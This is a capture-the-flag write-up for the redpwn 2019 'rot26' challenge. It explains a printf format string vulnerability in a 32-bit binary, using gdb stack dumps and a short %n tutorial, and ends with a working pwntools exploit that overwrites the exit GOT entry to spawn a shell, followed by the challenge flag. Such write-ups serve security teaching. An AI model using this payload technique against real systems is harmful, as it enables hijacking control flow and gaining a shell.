Format string on x86 32 bit binary.

Information

  • category: pwn
  • points: 50

Description

nc chall2.2019.redpwn.net 4003

2 files : rot26.c and rot26 (binary)

Writeup

Analysis of the binary :

╰─🐈️ checksec --verbose --file=rot26

BIT : 32
Relro : Partial
Stack Canary : No canary found
NX : Enabled
PIE : No PIE (Important)
RPATH : No 
RunPATH : No
Symbols : 78
Fortify : No
Fortified : 0
Fortifiable : 2
File : rot26

So we have an NX enabled (no Executable Stack), but luckily we don’t have PIE.

rot26.c :

#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char *ualphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
char *lalphabet = "abcdefghijklmnopqrstuvwxyz";

char *rot26(char *dst, char *src, size_t n)
{
	int i, x;

	for (i = 0; i < n; i++) {
		if (isupper(src[i])) {
			x = ualphabet[((src[i] - 'A') + 26) % strlen(ualphabet)];
		} else if (islower(src[i])) {
			x = lalphabet[((src[i] - 'a') + 26) % strlen(lalphabet)];
		} else {
			x = src[i];
		}
		dst[i] = x;
	}
}

void winners_room(void)
{
	puts("Please, take a shell!");
	system("/bin/sh");
	exit(EXIT_SUCCESS);
}

int main(void)
{
	char buf[4096];
	char sanitized[4096];

	setbuf(stdout, NULL);
	setbuf(stdin, NULL);
	setbuf(stderr, NULL);

	fgets(buf, sizeof(buf), stdin);
	rot26(sanitized, buf, sizeof(sanitized));
	printf(sanitized);
	exit(EXIT_FAILURE);
}

Pseudocode :

main()
    buf =  input(stdin)
    sanitized = rot26(buf)
    printf(sanitized)
    exit(EXIT_FAILURE);

The rot26 is not vulnerable to an overflow because the size of the input/output is delimited by the sizeof(buf) and sizeof(sanitized).

How we can exploit this program?

printf(sanitized)

This line is vulnerable to a format string attack.

╰─🐈️ nc chall2.2019.redpwn.net 4003          | connection
%d %08x %x %f                               | my input
-1148356 00001000 8048791 0.000000          | output (stack)

Attack Explained

Let’s see how the values of the printf functions are pushed on the stack in a normal program.

#include <stdio.h>

int main()
{
	int x = 10;
	int y = 20;
	printf("%d %d\n", x, y);
	return 0;
}

gcc -no-pie -m32 example.c -o example

╰─🐈️ gdb -q ./example

pwndbg> disass main
Dump of assembler code for function main:
   0x08049176 <+0>:     lea    ecx,[esp+0x4]
   0x0804917a <+4>:     and    esp,0xfffffff0
   0x0804917d <+7>:     push   DWORD PTR [ecx-0x4]
   0x08049180 <+10>:    push   ebp
   0x08049181 <+11>:    mov    ebp,esp
   0x08049183 <+13>:    push   ebx
   0x08049184 <+14>:    push   ecx
   0x08049185 <+15>:    sub    esp,0x10
   0x08049188 <+18>:    call   0x80491c9 <__x86.get_pc_thunk.ax>
   0x0804918d <+23>:    add    eax,0x2e73
   0x08049192 <+28>:    mov    DWORD PTR [ebp-0x10],0xa
   0x08049199 <+35>:    mov    DWORD PTR [ebp-0xc],0x14
   0x080491a0 <+42>:    sub    esp,0x4
   0x080491a3 <+45>:    push   DWORD PTR [ebp-0xc]
   0x080491a6 <+48>:    push   DWORD PTR [ebp-0x10]
   0x080491a9 <+51>:    lea    edx,[eax-0x1ff8]
   0x080491af <+57>:    push   edx
   0x080491b0 <+58>:    mov    ebx,eax
   0x080491b2 <+60>:    call   0x8049040 <printf@plt>
   0x080491b7 <+65>:    add    esp,0x10
   0x080491ba <+68>:    mov    eax,0x0
   0x080491bf <+73>:    lea    esp,[ebp-0x8]
   0x080491c2 <+76>:    pop    ecx
   0x080491c3 <+77>:    pop    ebx
   0x080491c4 <+78>:    pop    ebp
   0x080491c5 <+79>:    lea    esp,[ecx-0x4]
   0x080491c8 <+82>:    ret    
End of assembler dump.
pwndbg> b *0x080491b2                   # Breakpoint before the call to printf
Breakpoint 1 at 0x80491b2
pwndbg> r
pwndbg> x/10x $esp                      # print stack

# Stack address   address of      value of        value of  
#    |           "%d %d \n"          x               y
#    v                             
0xffffcee0:     0x0804a008      0x0000000a      0x00000014      0x0804918d
0xffffcef0:     0x00000001      0xffffcfb4      0x0000000a      0x00000014
0xffffcf00:     0xffffcf20      0x00000000

pwndbg> x/s 0x0804a008
0x804a008:      "%d %d\n"       # check the value in this address

So in this case we push values from right to left (as ecdl).

From right to left : y, x, address of format string.

What happen if we have control of the format string and we use "%08x %08x %08x %08x %08x" without any parameters (no x and y) ?

Let’s see :

#include <stdio.h>

int main()
{
	printf("%08x %08x %08x %08x %08x\n");
	return 0;
}

Recompile using gcc and see what happens:

╰─🐈️ ./example 
ffffd034 ffffd03c 0804918a ffffcfa0 00000000

Are this this values familiar? Let’s analyze it with gdb.

pwndbg> disass main
Dump of assembler code for function main:
    0x08049176 <+0>:     lea    ecx,[esp+0x4]
    0x0804917a <+4>:     and    esp,0xfffffff0
    0x0804917d <+7>:     push   DWORD PTR [ecx-0x4]
    0x08049180 <+10>:    push   ebp
    0x08049181 <+11>:    mov    ebp,esp
    0x08049183 <+13>:    push   ebx
    0x08049184 <+14>:    push   ecx
    0x08049185 <+15>:    call   0x80491b2 <__x86.get_pc_thunk.ax>
    0x0804918a <+20>:    add    eax,0x2e76
    0x0804918f <+25>:    sub    esp,0xc
    0x08049192 <+28>:    lea    edx,[eax-0x1ff8]
    0x08049198 <+34>:    push   edx
    0x08049199 <+35>:    mov    ebx,eax
    0x0804919b <+37>:    call   0x8049040 <printf@plt>
    0x080491a0 <+42>:    add    esp,0x10
    0x080491a3 <+45>:    mov    eax,0x0
    0x080491a8 <+50>:    lea    esp,[ebp-0x8]
    0x080491ab <+53>:    pop    ecx
    0x080491ac <+54>:    pop    ebx
    0x080491ad <+55>:    pop    ebp
    0x080491ae <+56>:    lea    esp,[ecx-0x4]
    0x080491b1 <+59>:    ret    
End of assembler dump.
pwndbg> b *0x0804919b                   # breakpoint on call to printf
Breakpoint 1 at 0x804919b
pwndbg> x/10x $esp
# Stack address   address of      random value    random value    random value
#  |           "%08x..08x\n"               
#  v 
0xffffcef0:     0x0804a008      0xffffcfb4      0xffffcfbc      0x0804918a
0xffffcf00:     0xffffcf20      0x00000000      0x00000000      0xf7dc38b9
0xffffcf10:     0xf7f7fe24      0xf7f7fe24

pwndbg> x/s 0x0804a008
0x804a008:      "%08x %08x %08x %08x %08x\n"

pwndbg> c
Continuing.
ffffcfb4 ffffcfbc 0804918a ffffcf20 00000000
[Inferior 1 (process 8443) exited normally]

Well the printf functions printed the value that were on the stacks (didn’t print the first value because the first value is the format string address).

How can this be dangerous?

Well using the glorious %n.

Example :

int main()
{
    int x = 0;
    printf("aaaaaaaaaaa%n", &x);
    return 0;
}

This format doesn’t print anything, but it writes inside the address specified by x the numbers of characters written before the %n. In this case 11.

Now we have the ability to overwrite any values in memory (functions, pointer, variables etc..).

We can use this trick to change the value of the exit function, and let it points to the winners_room function.

Payload

Found address of exit in GOT :

╰─🐈️ gdb -q ./rot26

pwndbg> disass main
Dump of assembler code for function main:
    0x08048777 <+0>:     lea    ecx,[esp+0x4]
    0x0804877b <+4>:     and    esp,0xfffffff0
    0x0804877e <+7>:     push   DWORD PTR [ecx-0x4]
    0x08048781 <+10>:    push   ebp
    0x08048782 <+11>:    mov    ebp,esp
    0x08048784 <+13>:    push   ebx
    0x08048785 <+14>:    push   ecx
    0x08048786 <+15>:    sub    esp,0x2010
    0x0804878c <+21>:    call   0x8048540 <__x86.get_pc_thunk.bx>
    0x08048791 <+26>:    add    ebx,0x186f
    0x08048797 <+32>:    mov    eax,gs:0x14
    0x0804879d <+38>:    mov    DWORD PTR [ebp-0xc],eax
    0x080487a0 <+41>:    xor    eax,eax
    0x080487a2 <+43>:    mov    eax,DWORD PTR [ebx-0x4]
    0x080487a8 <+49>:    mov    eax,DWORD PTR [eax]
    0x080487aa <+51>:    sub    esp,0x8
    0x080487ad <+54>:    push   0x0
    0x080487af <+56>:    push   eax
    0x080487b0 <+57>:    call   0x8048450 <setbuf@plt>
    0x080487b5 <+62>:    add    esp,0x10
    0x080487b8 <+65>:    mov    eax,DWORD PTR [ebx-0x8]
    0x080487be <+71>:    mov    eax,DWORD PTR [eax]
    0x080487c0 <+73>:    sub    esp,0x8
    0x080487c3 <+76>:    push   0x0
    0x080487c5 <+78>:    push   eax
    0x080487c6 <+79>:    call   0x8048450 <setbuf@plt>
    0x080487cb <+84>:    add    esp,0x10
    0x080487ce <+87>:    mov    eax,DWORD PTR [ebx-0x10]
    0x080487d4 <+93>:    mov    eax,DWORD PTR [eax]
    0x080487d6 <+95>:    sub    esp,0x8
    0x080487d9 <+98>:    push   0x0
    0x080487db <+100>:   push   eax
    0x080487dc <+101>:   call   0x8048450 <setbuf@plt>
    0x080487e1 <+106>:   add    esp,0x10
    0x080487e4 <+109>:   mov    eax,DWORD PTR [ebx-0x8]
    0x080487ea <+115>:   mov    eax,DWORD PTR [eax]
    0x080487ec <+117>:   sub    esp,0x4
    0x080487ef <+120>:   push   eax
    0x080487f0 <+121>:   push   0x1000
    0x080487f5 <+126>:   lea    eax,[ebp-0x200c]
    0x080487fb <+132>:   push   eax
    0x080487fc <+133>:   call   0x8048470 <fgets@plt>
    0x08048801 <+138>:   add    esp,0x10
    0x08048804 <+141>:   sub    esp,0x4
    0x08048807 <+144>:   push   0x1000
    0x0804880c <+149>:   lea    eax,[ebp-0x200c]
    0x08048812 <+155>:   push   eax
    0x08048813 <+156>:   lea    eax,[ebp-0x100c]
    0x08048819 <+162>:   push   eax
    0x0804881a <+163>:   call   0x8048606 <rot26>
    0x0804881f <+168>:   add    esp,0x10
    0x08048822 <+171>:   sub    esp,0xc
    0x08048825 <+174>:   lea    eax,[ebp-0x100c]
    0x0804882b <+180>:   push   eax
    0x0804882c <+181>:   call   0x8048460 <printf@plt>
    0x08048831 <+186>:   add    esp,0x10
    0x08048834 <+189>:   sub    esp,0xc
    0x08048837 <+192>:   push   0x1
    0x08048839 <+194>:   call   0x80484a0 <exit@plt>

pwndbg> disass 0x80484a0    
Dump of assembler code for function exit@plt:
#       PLT                              GOT.PLT

   0x080484a0 <+0>:     jmp    DWORD PTR ds:0x804a020
   0x080484a6 <+6>:     push   0x28
   0x080484ab <+11>:    jmp    0x8048440
End of assembler dump.
pwndbg> x 0x804a020             
#                               effective address
#								of exit once resolved
#                                    |
#                                    v
0x804a020 <exit@got.plt>:       0x080484a6

pwndbg> p winners_room
$1 = {<text variable, no debug info>} 0x8048737 <winners_room>

Now we need to change the value inside 0x804a020 (pushing it into the stack) to 0x8048737. The first thing to do is to compute the offset between the output of the printf and our input.

╰─🐈️ gdb -q ./rot26
╭─meowmeow@larch ~/CeSeNA/pump/ctf/redpwn-2019/rot26  ‹master*› 
╰─🐈️ python -c 'print("AAAA" + "%08x" * 20)' > poc.txt
╭─meowmeow@larch ~/CeSeNA/pump/ctf/redpwn-2019/rot26  ‹master*› 
╰─🐈️ exit
pwndbg> b *0x0804882c 
Breakpoint 1 at 0x804882c
pwndbg> r < poc.txt
Breakpoint *0x0804882c

pwndbg> x/20x $esp
# Stack          format string       1               2               3
# address        address           (buf)
#   |            (sanitized)   
#   v
0xffffaee0:     0xffffbefc      0xffffaefc      0x00001000      0x08048791
                    
#                    4               5               6               7
0xffffaef0:     0x00000000      0x00000000      0x00000000      0x41414141
0xffffaf00:     0x78383025      0x78383025      0x78383025      0x78383025
0xffffaf10:     0x78383025      0x78383025      0x78383025      0x78383025
0xffffaf20:     0x78383025      0x78383025      0x78383025      0x78383025

pwndbg> x/s 0xffffbefc 
0xffffbefc:     "AAAA%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x\n"

pwndbg> c           # I put dots by myself
Continuing.
AAAA.ffffaefc.00001000.08048791.00000000.00000000.00000000.4141414178383025783830257838302578383025783830257838302578383025783830257838302578383025783830257838302578383025

And we can confirm that the offset that we need is 7. Remember that using "%x$d", (where x is a number) we can print the value in the x offset.

Example:

#include <stdio.h>
int main()
{
    int x = 10;
    int y = 20;
    printf("%2$d and %1$d", x, y);
    return 0;
}

Output:

╰─🐈️./example 
20 and 10

Now to simplify the creation of the payload I used a special table which allows to write any value in any address I want using a format string.

Where addr is the address where we want to write. HOB (High Order Byte) and LOB (Low Order Byte) are the value that we wants to write.

In our case:

addr = 0x0804a020 # (exit_got)

value = 0x08048737 # (winners_room)

HOB = 0x0804

LOB = 0x8737

Exploit

from pwn import *

# winners_room --> shell
winners_room = 0x8048737
# address of exit in got
exit_got = 0x804a020
conn = remote('chall2.2019.redpwn.net', 4003)

hob = 0x0804
lob = 0x8737
# exit_got + 2 || exit_got --> where || means concatenation
first = "\x22\xa0\x04\x08\x20\xa0\x04\x08"
second = "%."+str(hob-8)+"x"
# offset
third = "%7$hn"
fourth = "%."+str(lob-hob)+"x"
# offset + 1
fifth = "%8$hn"
payload = first+second+third+fourth+fifth

print(payload)

conn.sendline(payload)
log.info(conn.recvline())
log.info(conn.recvline())
conn.sendline('cat flag.txt')
log.info(conn.recvline())

$ python2 exploit.py

Flag

flag{w4it_d03s_r0t26_4ctu4lly_ch4ng3_4nyth1ng?}